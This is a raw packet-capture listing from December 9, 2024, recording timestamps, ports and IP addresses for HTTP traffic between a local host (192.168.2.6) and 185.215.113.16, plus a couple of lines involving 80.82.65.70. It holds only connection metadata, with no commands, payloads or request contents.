Dec 9, 2024 21:09:50.817935944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.818016052 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.818442106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.818511009 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.819402933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.819457054 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.819698095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.819739103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.820621014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.820694923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.820806026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.820914984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.821979046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.822024107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.822185993 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.822232008 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.823108912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.823158026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.823817015 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.823872089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.824322939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.824495077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.824723005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.824763060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.825575113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.825637102 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.825853109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.825939894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.826992989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.827039957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.827178001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.827214956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.828339100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.828385115 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.828587055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.828821898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.829518080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.829557896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.829821110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.829947948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.830729961 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.830794096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.831078053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.831120014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.831994057 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.832055092 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.832201004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.832252979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.833326101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.833393097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.833530903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.833642006 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.834616899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.834695101 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.835180044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.835258961 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.835880995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.835983038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.836025000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.836062908 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.837204933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.837260962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.837831974 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.837868929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.838557005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.838599920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.838771105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.838813066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.839663982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.839704990 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.872679949 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:50.872731924 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:50.962909937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.963078022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.963145018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.963406086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.963550091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.963601112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.964484930 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.964534044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.964782000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.964828968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.965558052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.966032982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.966084003 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.966743946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.966787100 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.967535019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.967591047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.967725992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.967736959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.967772007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.968777895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.968815088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.969300985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.969391108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.969885111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.969923973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.970180988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.970225096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.971261024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.971369028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.971412897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.972094059 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.972235918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.972289085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.973252058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.973356009 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.973398924 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.973436117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.974208117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.974251986 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.974375963 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.974433899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.975292921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.975492001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.975534916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.976432085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.976470947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.976521969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.976563931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.977514982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.977554083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.977804899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.977843046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.978585005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.978629112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.978693962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.978940964 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.979628086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.979679108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.980163097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.980199099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.980671883 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.980772018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.980806112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.980896950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.981837988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.981899977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.982178926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.982577085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.982881069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.982923031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.983001947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.983037949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.983973980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.984024048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.984246016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.984435081 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.985090017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.985132933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.985289097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.985349894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.986157894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.986197948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.986701012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.986740112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.987205029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.987500906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.987540007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.988261938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.988300085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.988419056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.988473892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.989356041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.989392996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.989609957 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.989649057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.990426064 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.990468025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.990644932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.990812063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.991528988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.991708994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.991765976 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.992624998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.992798090 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.992844105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.993807077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.993853092 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.993932962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.993972063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.994796991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.994891882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.994956970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.994998932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.996026039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.996159077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.996196985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.996264935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.996931076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.997519016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.997581005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.998001099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.998043060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.998120070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.998159885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.999115944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.999789953 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.999849081 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.000149012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.000206947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.000248909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.001307964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.001534939 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.001611948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.001671076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.002372980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.002424002 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.002486944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.002532959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.003448963 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.003549099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.003575087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.003624916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.004492044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.004534960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.004663944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.004733086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.005624056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.005692959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.006021023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.006059885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.006772041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.006809950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.007427931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.007477045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.007818937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.007860899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.007961988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.007998943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.008887053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.008929014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.009594917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.009633064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.010010004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.010102034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.010137081 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.010179043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.010999918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.011229992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.011280060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.012110949 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.012177944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.012375116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.012420893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.013286114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.013336897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.013650894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.013768911 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.014278889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.014354944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.014385939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.014426947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.015319109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.015393972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.015542984 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.015602112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.016491890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.016534090 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.016678095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.016738892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.017481089 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.017600060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.017733097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.018412113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.018640041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.018677950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.018721104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.018758059 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.019629955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.019692898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.155502081 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.155564070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.155579090 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.155658007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.155931950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.155977964 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.156024933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.156061888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.157015085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.157054901 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.157193899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.157242060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.158052921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.158111095 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.158458948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.158615112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.159384966 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.159431934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.159486055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.159574986 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.160335064 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.160516977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.160648108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.160684109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.161362886 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.161410093 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.161848068 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.161886930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.162441015 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.162481070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.162627935 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.162667036 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.163602114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.163640976 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.164150000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.164282084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.164592981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.164629936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.164771080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.164812088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.165713072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.165735006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.165755033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.165776968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.166745901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.166809082 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.167206049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.167251110 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.168288946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.168359041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.168792963 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.168834925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.169219971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.169260979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.169688940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.169729948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.170063972 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.170152903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.170473099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.170571089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.171439886 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.171646118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.171690941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.172513008 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.172552109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.172956944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.172995090 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.173290968 CET	80	49969	185.215.113.16	192.168.2.6
